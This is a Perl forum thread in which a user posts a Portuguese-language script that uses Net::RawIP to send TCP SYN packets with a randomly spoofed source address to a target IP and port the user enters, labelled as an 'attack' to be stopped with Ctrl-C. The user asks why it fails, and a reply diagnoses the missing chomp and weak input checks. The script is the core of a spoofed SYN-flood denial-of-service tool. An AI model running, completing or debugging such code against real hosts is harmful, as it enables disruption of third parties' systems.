meanroc has asked for the wisdom of the Perl Monks concerning the following question:

hello guys,I have been a problem with Net::RawIP, when I code:

#!/usr/bin/perl use strict; use warnings; my $teste; use Net::RawIP; inicio: system("clear"); sleep(2); system("clear"); print "Digite o endereco IP do alvo-->"; my $alv=<STDIN>; unless ( $alv =~ /[0-9]/){ print "IP invalido, aperte ENTER para voltar:"; <STDIN>; goto inicio; } print "\nDica: Use o portscan para verificar quais portas estao aberta +s"; print "\n\nDigite a porta do alvo-->"; my $po_alv=<STDIN>; unless ( $po_alv =~ /[0-9]/){ print "Porta invalido, aperte ENTER para voltar:"; <STDIN>; goto inicio; } my $rand= int(rand(100) + 100); my $rand1= int(rand(100) + 100); my $rand2= int(rand(100) +100); my $rand3= int(rand(100)+100); my $ip= "$rand.$rand1.$rand2.$rand3"; print "\n\nPara parar o ataque digite CTRL C"; print "\n\nPara iniciar o ataque aperte ENTER"; my $a=<STDIN>; $teste=Net::RawIP->new({ ip => { saddr => $ip, daddr => $alv, }, tcp =>{ source=> 80, dest => $po_alv, syn => 1, }, }); $teste->send;

And when I run this code, putting a IP and a port, return me this error:host_to_ip: failed at /usr/lib/perl5/Net/RawIP.pm line 481, <STDIN> line 3. What is wrong???

    I don't know if this repeats advice given previously because a possible source of the problem is glaringly evident: you never chomp the input, $po_alv and your regular expression checks only for a single digit in the var. It could still hold anything else... or nothing else. Either, or both, could produce the message you cite

    (And, BTW, put error and/or warning messages, verbatim, inside code tags -- just as you do with code.)


    If you didn't program your executable by toggling in binary, it wasn't really programming!
